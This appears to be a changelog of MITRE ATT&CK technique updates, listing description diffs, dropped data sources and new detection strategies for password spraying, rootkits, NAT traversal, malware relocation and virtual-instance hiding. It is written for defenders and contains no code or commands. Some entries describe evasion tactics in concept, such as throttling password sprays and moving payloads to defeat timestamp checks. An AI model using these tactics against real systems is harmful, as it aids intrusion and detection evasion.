[T1599.001] Network Boundary Bridging: Network Address Translation Traversal

Current version: 1.2

Version changed from: 1.1 → 1.2

	Old Description			New Description
t	1	Adversaries may bridge network boundaries by modifying a net	t	1	Adversaries may bridge network boundaries by modifying a net
	>	work device’s Network Address Translation (NAT) configuratio		>	work device’s Network Address Translation (NAT) configuratio
	>	n. Malicious modifications to NAT may enable an adversary to		>	n. Malicious modifications to NAT may enable an adversary to
	>	bypass restrictions on traffic routing that otherwise separ		>	bypass restrictions on traffic routing that otherwise separ
	>	ate trusted and untrusted networks. Network devices such as		>	ate trusted and untrusted networks. Network devices such as
	>	routers and firewalls that connect multiple networks togeth		>	routers and firewalls that connect multiple networks togeth
	>	er may implement NAT during the process of passing packets b		>	er may implement NAT during the process of passing packets b
	>	etween networks. When performing NAT, the network device wil		>	etween networks. When performing NAT, the network device wil
	>	l rewrite the source and/or destination addresses of the IP		>	l rewrite the source and/or destination addresses of the IP
	>	address header. Some network designs require NAT for the pac		>	address header. Some network designs require NAT for the pac
	>	kets to cross the border device. A typical example of this		>	kets to cross the border device. A typical example of this
	>	is environments where internal networks make use of non-Inte		>	is environments where internal networks make use of non-Inte
	>	rnet routable addresses.(Citation: RFC1918) When an adversa		>	rnet routable addresses.(Citation: RFC1918) When an adversa
	>	ry gains control of a network boundary device, they can eith		>	ry gains control of a network boundary device, they may modi
	>	er leverage existing NAT configurations to send traffic betw		>	fy NAT configurations to send traffic between two separated
	>	een two separated networks, or they can implement NAT config		>	networks, or to obscure their activities. In network design
	>	urations of their own design. In the case of network design		>	s that require NAT to function, such modifications enable th
	>	s that require NAT to function, this enables the adversary t		>	e adversary to overcome inherent routing limitations that wo
	>	o overcome inherent routing limitations that would normally		>	uld normally prevent them from accessing protected systems b
	>	prevent them from accessing protected systems behind the bor		>	ehind the border device. In network designs that do not req
	>	der device. In the case of network designs that do not requ		>	uire NAT, adversaries may use address translation to further
	>	ire NAT, address translation can be used by adversaries to o		>	obscure their activities, as changing the addresses of pack
	>	bscure their activities, as changing the addresses of packet		>	ets that traverse a network boundary device can make monitor
	>	s that traverse a network boundary device can make monitorin		>	ing data transmissions more challenging for defenders. Ad
	>	g data transmissions more challenging for defenders. Adve		>	versaries may use [Patch System Image](https://attack.mitre.
	>	rsaries may use [Patch System Image](https://attack.mitre.or		>	org/techniques/T1601/001) to change the operating system of
	>	g/techniques/T1601/001) to change the operating system of a		>	a network device, implementing their own custom NAT mechanis
	>	network device, implementing their own custom NAT mechanisms		>	ms to further obscure their activities.
	>	to further obscure their activities

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0163: Detection Strategy for Network Address Translation Traversal

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:46:38.101000+00:00	2025-10-24 17:48:46.071000+00:00
description	Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918) When an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities	Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918) When an adversary gains control of a network boundary device, they may modify NAT configurations to send traffic between two separated networks, or to obscure their activities. In network designs that require NAT to function, such modifications enable the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In network designs that do not require NAT, adversaries may use address translation to further obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities.
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Consider monitoring network traffic on both interfaces of border network devices. Compare packets transmitted by the device between networks to look for signs of NAT being implemented. Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3. In some cases, Port Address Translation (PAT) may also be used by an adversary. Monitor the border network device’s configuration to determine if any unintended NAT rules have been added without authorization.
x_mitre_version	1.1	1.2

[T1584.008] Compromise Infrastructure: Network Devices

Current version: 1.1

Version changed from: 1.0 → 1.1

	Old Description			New Description
t	1	Adversaries may compromise third-party network devices that	t	1	Adversaries may compromise third-party network devices that
	>	can be used during targeting. Network devices, such as small		>	can be used during targeting. Network devices, such as small
	>	office/home office (SOHO) routers, may be compromised where		>	office/home office (SOHO) routers, may be compromised where
	>	the adversary's ultimate goal is not [Initial Access](https		>	the adversary's ultimate goal is not [Initial Access](https
	>	://attack.mitre.org/tactics/TA0001) to that environment -- i		>	://attack.mitre.org/tactics/TA0001) to that environment, but
	>	nstead leveraging these devices to support additional target		>	rather to leverage these devices to support additional targ
	>	ing. Once an adversary has control, compromised network dev		>	eting. Once an adversary has control, compromised network d
	>	ices can be used to launch additional operations, such as ho		>	evices can be used to launch additional operations, such as
	>	sting payloads for [Phishing](https://attack.mitre.org/techn		>	hosting payloads for [Phishing](https://attack.mitre.org/tec
	>	iques/T1566) campaigns (i.e., [Link Target](https://attack.m		>	hniques/T1566) campaigns (i.e., [Link Target](https://attack
	>	itre.org/techniques/T1608/005)) or enabling the required acc		>	.mitre.org/techniques/T1608/005)) or enabling the required a
	>	ess to execute [Content Injection](https://attack.mitre.org/		>	ccess to execute [Content Injection](https://attack.mitre.or
	>	techniques/T1659) operations. Adversaries may also be able t		>	g/techniques/T1659) operations. Adversaries may also be able
	>	o harvest reusable credentials (i.e., [Valid Accounts](https		>	to harvest reusable credentials (i.e., [Valid Accounts](htt
	>	://attack.mitre.org/techniques/T1078)) from compromised netw		>	ps://attack.mitre.org/techniques/T1078)) from compromised ne
	>	ork devices. Adversaries often target Internet-facing edge		>	twork devices. Adversaries often target Internet-facing edg
	>	devices and related network appliances that specifically do		>	e devices and related network appliances that specifically d
	>	not support robust host-based defenses.(Citation: Mandiant F		>	o not support robust host-based defenses.(Citation: Mandiant
	>	ortinet Zero Day)(Citation: Wired Russia Cyberwar) Compromi		>	Fortinet Zero Day)(Citation: Wired Russia Cyberwar) Compro
	>	sed network devices may be used to support subsequent [Comma		>	mised network devices may be used to support subsequent [Com
	>	nd and Control](https://attack.mitre.org/tactics/TA0011) act		>	mand and Control](https://attack.mitre.org/tactics/TA0011) a
	>	ivity, such as [Hide Infrastructure](https://attack.mitre.or		>	ctivity, such as [Hide Infrastructure](https://attack.mitre.
	>	g/techniques/T1665) through an established [Proxy](https://a		>	org/techniques/T1665) through an established [Proxy](https:/
	>	ttack.mitre.org/techniques/T1090) and/or [Botnet](https://at		>	/attack.mitre.org/techniques/T1090) and/or [Botnet](https://
	>	tack.mitre.org/techniques/T1584/005) network.(Citation: Just		>	attack.mitre.org/techniques/T1584/005) network.(Citation: Ju
	>	ice GRU 2024)		>	stice GRU 2024)

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)

New Detections (Detection Strategies -> Technique):

DET0859: Detection of Network Devices

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:51:26.650000+00:00	2025-10-22 03:56:34.319000+00:00
description	Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment -- instead leveraging these devices to support additional targeting. Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005)) or enabling the required access to execute [Content Injection](https://attack.mitre.org/techniques/T1659) operations. Adversaries may also be able to harvest reusable credentials (i.e., [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised network devices. Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar) Compromised network devices may be used to support subsequent [Command and Control](https://attack.mitre.org/tactics/TA0011) activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Botnet](https://attack.mitre.org/techniques/T1584/005) network.(Citation: Justice GRU 2024)	Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment, but rather to leverage these devices to support additional targeting. Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005)) or enabling the required access to execute [Content Injection](https://attack.mitre.org/techniques/T1659) operations. Adversaries may also be able to harvest reusable credentials (i.e., [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised network devices. Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar) Compromised network devices may be used to support subsequent [Command and Control](https://attack.mitre.org/tactics/TA0011) activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Botnet](https://attack.mitre.org/techniques/T1584/005) network.(Citation: Justice GRU 2024)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

[T1571] Non-Standard Port

Current version: 1.3

Version changed from: 1.2 → 1.3

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0227: Detection Strategy for Non-Standard Ports

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:58.463000+00:00	2025-10-24 17:49:14.187000+00:00
x_mitre_detection	Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)
x_mitre_version	1.2	1.3

[T1110.003] Brute Force: Password Spraying

Current version: 1.8

Version changed from: 1.7 → 1.8

	Old Description			New Description
t	1	Adversaries may use a single or small list of commonly used	t	1	Adversaries may use a single or small list of commonly used
	>	passwords against many different accounts to attempt to acqu		>	passwords against many different accounts to attempt to acqu
	>	ire valid account credentials. Password spraying uses one pa		>	ire valid account credentials. Password spraying uses one pa
	>	ssword (e.g. 'Password01'), or a small list of commonly used		>	ssword (e.g. 'Password01'), or a small list of commonly used
	>	passwords, that may match the complexity policy of the doma		>	passwords, that may match the complexity policy of the doma
	>	in. Logins are attempted with that password against many dif		>	in. Logins are attempted with that password against many dif
	>	ferent accounts on a network to avoid account lockouts that		>	ferent accounts on a network to avoid account lockouts that
	>	would normally occur when brute forcing a single account wit		>	would normally occur when brute forcing a single account wit
	>	h many passwords. (Citation: BlackHillsInfosec Password Spra		>	h many passwords. (Citation: BlackHillsInfosec Password Spra
	>	ying) Typically, management services over commonly used por		>	ying) Typically, management services over commonly used por
	>	ts are used when password spraying. Commonly targeted servic		>	ts are used when password spraying. Commonly targeted servic
	>	es include the following: * SSH (22/TCP) * Telnet (23/TCP)		>	es include the following: * SSH (22/TCP) * Telnet (23/TCP)
	>	* FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) *		>	* FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) *
	>	LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Service		>	LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Service
	>	s (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/T		>	s (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/T
	>	CP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP		>	CP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP
	>	) * VNC (5900/TCP) In addition to management services, adve		>	) * VNC (5900/TCP) In addition to management services, adve
	>	rsaries may "target single sign-on (SSO) and cloud-based app		>	rsaries may "target single sign-on (SSO) and cloud-based app
	>	lications utilizing federated authentication protocols," as		>	lications utilizing federated authentication protocols," as
	>	well as externally facing email applications, such as Office		>	well as externally facing email applications, such as Office
	>	365.(Citation: US-CERT TA18-068A 2018) In default environm		>	365.(Citation: US-CERT TA18-068A 2018) In order to avoid d
	>	ents, LDAP and Kerberos connection attempts are less likely		>	etection thresholds, adversaries may deliberately throttle p
	>	to trigger events over SMB, which creates Windows "logon fai		>	assword spraying attempts to avoid triggering security alert
	>	lure" event ID 4625.		>	ing. Additionally, adversaries may leverage LDAP and Kerbero
				>	s authentication attempts, which are less likely to trigger
				>	high-visibility events such as Windows "logon failure" event
				>	ID 4625 that is commonly triggered by failed SMB connection
				>	attempts.(Citation: Microsoft Storm-0940)

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0015: Application Log (Application Log Content)

New Detections (Detection Strategies -> Technique):

DET0487: Distributed Password Spraying via Authentication Failures Across Multiple Accounts

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['User Account: User Account Authentication', 'Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:38.420000+00:00	2025-10-24 17:48:53.996000+00:00
description	Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying) Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.	Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying) Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) In order to avoid detection thresholds, adversaries may deliberately throttle password spraying attempts to avoid triggering security alerting. Additionally, adversaries may leverage LDAP and Kerberos authentication attempts, which are less likely to trigger high-visibility events such as Windows "logon failure" event ID 4625 that is commonly triggered by failed SMB connection attempts.(Citation: Microsoft Storm-0940)
x_mitre_detection	Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. Consider the following event IDs:(Citation: Trimarc Detecting Password Spraying) * Domain Controllers: "Audit Logon" (Success & Failure) for event ID 4625. * Domain Controllers: "Audit Kerberos Authentication Service" (Success & Failure) for event ID 4771. * All systems: "Audit Logon" (Success & Failure) for event ID 4648.
x_mitre_version	1.7	1.8

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Microsoft Storm-0940', 'description': 'Microsoft Threat Intelligence. (2024, October 31). Chinese threat actor Storm-0940 uses credentials from password spray attacks from a covert network. Retrieved June 4, 2025.', 'url': 'https://www.microsoft.com/en-us/security/blog/2024/10/31/chinese-threat-actor-storm-0940-uses-credentials-from-password-spray-attacks-from-a-covert-network/'}

[T1070.010] Indicator Removal: Relocate Malware

Current version: 1.2

Version changed from: 1.1 → 1.2

	Old Description			New Description
t	1	Once a payload is delivered, adversaries may reproduce copie	t	1	Once a payload is delivered, adversaries may reproduce copie
	>	s of the same malware on the victim system to remove evidenc		>	s of the same malware on the victim system to remove evidenc
	>	e of their presence and/or avoid defenses. Copying malware p		>	e of their presence and/or avoid defenses. Copying malware p
	>	ayloads to new locations may also be combined with [File Del		>	ayloads to new locations may also be combined with [File Del
	>	etion](https://attack.mitre.org/techniques/T1070/004) to cle		>	etion](https://attack.mitre.org/techniques/T1070/004) to cle
	>	anup older artifacts. Relocating malware may be a part of m		>	anup older artifacts. Relocating malware may be a part of m
	>	any actions intended to evade defenses. For example, adversa		>	any actions intended to evade defenses. For example, adversa
	>	ries may copy and rename payloads to better blend into the l		>	ries may copy and rename payloads to better blend into the l
	>	ocal environment (i.e., [Match Legitimate Resource Name or L		>	ocal environment (i.e., [Match Legitimate Resource Name or L
	>	ocation](https://attack.mitre.org/techniques/T1036/005)).(Ci		>	ocation](https://attack.mitre.org/techniques/T1036/005)).(Ci
	>	tation: DFIR Report Trickbot June 2023) Payloads may also be		>	tation: DFIR Report Trickbot June 2023) Payloads may also be
	>	repositioned to target [File/Path Exclusions](https://attac		>	repositioned to target [File/Path Exclusions](https://attac
	>	k.mitre.org/techniques/T1564/012) as well as specific locati		>	k.mitre.org/techniques/T1564/012) as well as specific locati
	>	ons associated with establishing [Persistence](https://attac		>	ons associated with establishing [Persistence](https://attac
	>	k.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024)		>	k.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024)
	>	Relocating malicious payloads may also hinder defensive an		>	Relocating malicious payloads may also hinder defensive an
	>	alysis, especially to separate these payloads from earlier e		>	alysis, especially to separate these payloads from earlier e
	>	vents (such as [User Execution](https://attack.mitre.org/tec		>	vents (such as [User Execution](https://attack.mitre.org/tec
	>	hniques/T1204) and [Phishing](https://attack.mitre.org/techn		>	hniques/T1204) and [Phishing](https://attack.mitre.org/techn
	>	iques/T1566)) that may have generated alerts or otherwise dr		>	iques/T1566)) that may have generated alerts or otherwise dr
	>	awn attention from defenders.		>	awn attention from defenders. Moving payloads into target di
				>	rectories does not alter the Creation timestamp, thereby eva
				>	ding detection logic reliant on modifications to this artifa
				>	ct (i.e., [Timestomp](https://attack.mitre.org/techniques/T1
				>	070/006)).

Dropped Detections (Data Components -> Technique):

DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0439: Detection of Malware Relocation via Suspicious File Movement

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:08.329000+00:00	2025-10-05 16:08:40.119000+00:00
description	Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with [File Deletion](https://attack.mitre.org/techniques/T1070/004) to cleanup older artifacts. Relocating malware may be a part of many actions intended to evade defenses. For example, adversaries may copy and rename payloads to better blend into the local environment (i.e., [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: DFIR Report Trickbot June 2023) Payloads may also be repositioned to target [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012) as well as specific locations associated with establishing [Persistence](https://attack.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024) Relocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as [User Execution](https://attack.mitre.org/techniques/T1204) and [Phishing](https://attack.mitre.org/techniques/T1566)) that may have generated alerts or otherwise drawn attention from defenders.	Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with [File Deletion](https://attack.mitre.org/techniques/T1070/004) to cleanup older artifacts. Relocating malware may be a part of many actions intended to evade defenses. For example, adversaries may copy and rename payloads to better blend into the local environment (i.e., [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: DFIR Report Trickbot June 2023) Payloads may also be repositioned to target [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012) as well as specific locations associated with establishing [Persistence](https://attack.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024) Relocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as [User Execution](https://attack.mitre.org/techniques/T1204) and [Phishing](https://attack.mitre.org/techniques/T1566)) that may have generated alerts or otherwise drawn attention from defenders. Moving payloads into target directories does not alter the Creation timestamp, thereby evading detection logic reliant on modifications to this artifact (i.e., [Timestomp](https://attack.mitre.org/techniques/T1070/006)).
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	1.2

iterable_item_added
STIX Field	Old value	New Value
x_mitre_contributors		Gregory Frey

[T1021.001] Remote Services: Remote Desktop Protocol

Current version: 1.4

Version changed from: 1.3 → 1.4

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0028: Logon Session (Logon Session Creation)
DS0028: Logon Session (Logon Session Metadata)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0327: Multi-event Detection Strategy for RDP-Based Remote Logins and Post-Access Activity

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Connection Creation', 'Process: Process Creation', 'Logon Session: Logon Session Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:18.689000+00:00	2025-10-24 17:49:33.524000+00:00
x_mitre_detection	Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.
x_mitre_version	1.3	1.4

[T1014] Rootkit

Current version: 1.3

Version changed from: 1.2 → 1.3

	Old Description			New Description
t	1	Adversaries may use rootkits to hide the presence of program	t	1	Adversaries may use rootkits to hide the presence of program
	>	s, files, network connections, services, drivers, and other		>	s, files, network connections, services, drivers, and other
	>	system components. Rootkits are programs that hide the exist		>	system components. Rootkits are programs that hide the exist
	>	ence of malware by intercepting/hooking and modifying operat		>	ence of malware by intercepting/hooking and modifying operat
	>	ing system API calls that supply system information. (Citati		>	ing system API calls that supply system information. (Citati
	>	on: Symantec Windows Rootkits) Rootkits or rootkit enablin		>	on: Symantec Windows Rootkits) Rootkits or rootkit enablin
	>	g functionality may reside at the user or kernel level in th		>	g functionality may reside at the user or kernel level in th
	>	e operating system or lower, to include a hypervisor, Master		>	e operating system or lower, to include a hypervisor or [Sys
	>	Boot Record, or [System Firmware](https://attack.mitre.org/		>	tem Firmware](https://attack.mitre.org/techniques/T1542/001)
	>	techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkit		>	. (Citation: Wikipedia Rootkit) Rootkits have been seen for
	>	s have been seen for Windows, Linux, and Mac OS X systems. (		>	Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike
	>	Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac		>	Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit) Rootki
	>	OSX Rootkit)		>	ts that reside or modify boot sectors are known as [Bootkit]
				>	(https://attack.mitre.org/techniques/T1542/003)s and specifi
				>	cally target the boot process of the operating system.

Dropped Detections (Data Components -> Technique):

DS0001: Firmware (Firmware Modification)
DS0016: Drive (Drive Modification)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0377: Detection of Kernel/User-Level Rootkit Behavior Across Platforms

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_contributors		['Menachem Goldstein']

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Drive: Drive Modification', 'Firmware: Firmware Modification', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:15.308000+00:00	2025-10-24 17:48:24.032000+00:00
description	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit) Rootkits that reside or modify boot sectors are known as [Bootkit](https://attack.mitre.org/techniques/T1542/003)s and specifically target the boot process of the operating system.
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)
x_mitre_version	1.2	1.3

[T1564.006] Hide Artifacts: Run Virtual Instance

Current version: 1.3

Version changed from: 1.2 → 1.3

	Old Description			New Description
t	1	Adversaries may carry out malicious operations using a virtu	t	1	Adversaries may carry out malicious operations using a virtu
	>	al instance to avoid detection. A wide variety of virtualiza		>	al instance to avoid detection. A wide variety of virtualiza
	>	tion technologies exist that allow for the emulation of a co		>	tion technologies exist that allow for the emulation of a co
	>	mputer or computing environment. By running malicious code i		>	mputer or computing environment. By running malicious code i
	>	nside of a virtual instance, adversaries can hide artifacts		>	nside of a virtual instance, adversaries can hide artifacts
	>	associated with their behavior from security tools that are		>	associated with their behavior from security tools that are
	>	unable to monitor activity inside the virtual instance.(Cita		>	unable to monitor activity inside the virtual instance.(Cita
	>	tion: CyberCX Akira Ransomware) Additionally, depending on t		>	tion: CyberCX Akira Ransomware) Additionally, depending on t
	>	he virtual networking implementation (ex: bridged adapter),		>	he virtual networking implementation (ex: bridged adapter),
	>	network traffic generated by the virtual instance can be dif		>	network traffic generated by the virtual instance can be dif
	>	ficult to trace back to the compromised host as the IP addre		>	ficult to trace back to the compromised host as the IP addre
	>	ss and hostname might not match known values.(Citation: Sing		>	ss and hostname might not match known values.(Citation: Sing
	>	Health Breach Jan 2019) Adversaries may utilize native supp		>	Health Breach Jan 2019) Adversaries may utilize native supp
	>	ort for virtualization (ex: Hyper-V) or drop the necessary f		>	ort for virtualization (ex: Hyper-V), deploy lightweight emu
	>	iles to run a virtual instance (ex: VirtualBox binaries). Af		>	lators (ex: QEMU), or drop the necessary files to run a virt
	>	ter running a virtual instance, adversaries may create a sha		>	ual instance (ex: VirtualBox binaries).(Citation: Securonix
	>	red folder between the guest and host with permissions that		>	CronTrap 2024) After running a virtual instance, adversaries
	>	enable the virtual instance to interact with the host file s		>	may create a shared folder between the guest and host with
	>	ystem.(Citation: Sophos Ragnar May 2020) In VMWare environm		>	permissions that enable the virtual instance to interact wit
	>	ents, adversaries may leverage the vCenter console to create		>	h the host file system.(Citation: Sophos Ragnar May 2020) T
	>	new virtual machines. However, they may also create virtual		>	hreat actors may also leverage temporary virtualized environ
	>	machines directly on ESXi servers by running a valid `.vmx`		>	ments such as the Windows Sandbox, which supports the use of
	>	file with the `/bin/vmx` utility. Adding this command to `/		>	`.wsb` configuration files for defining execution parameter
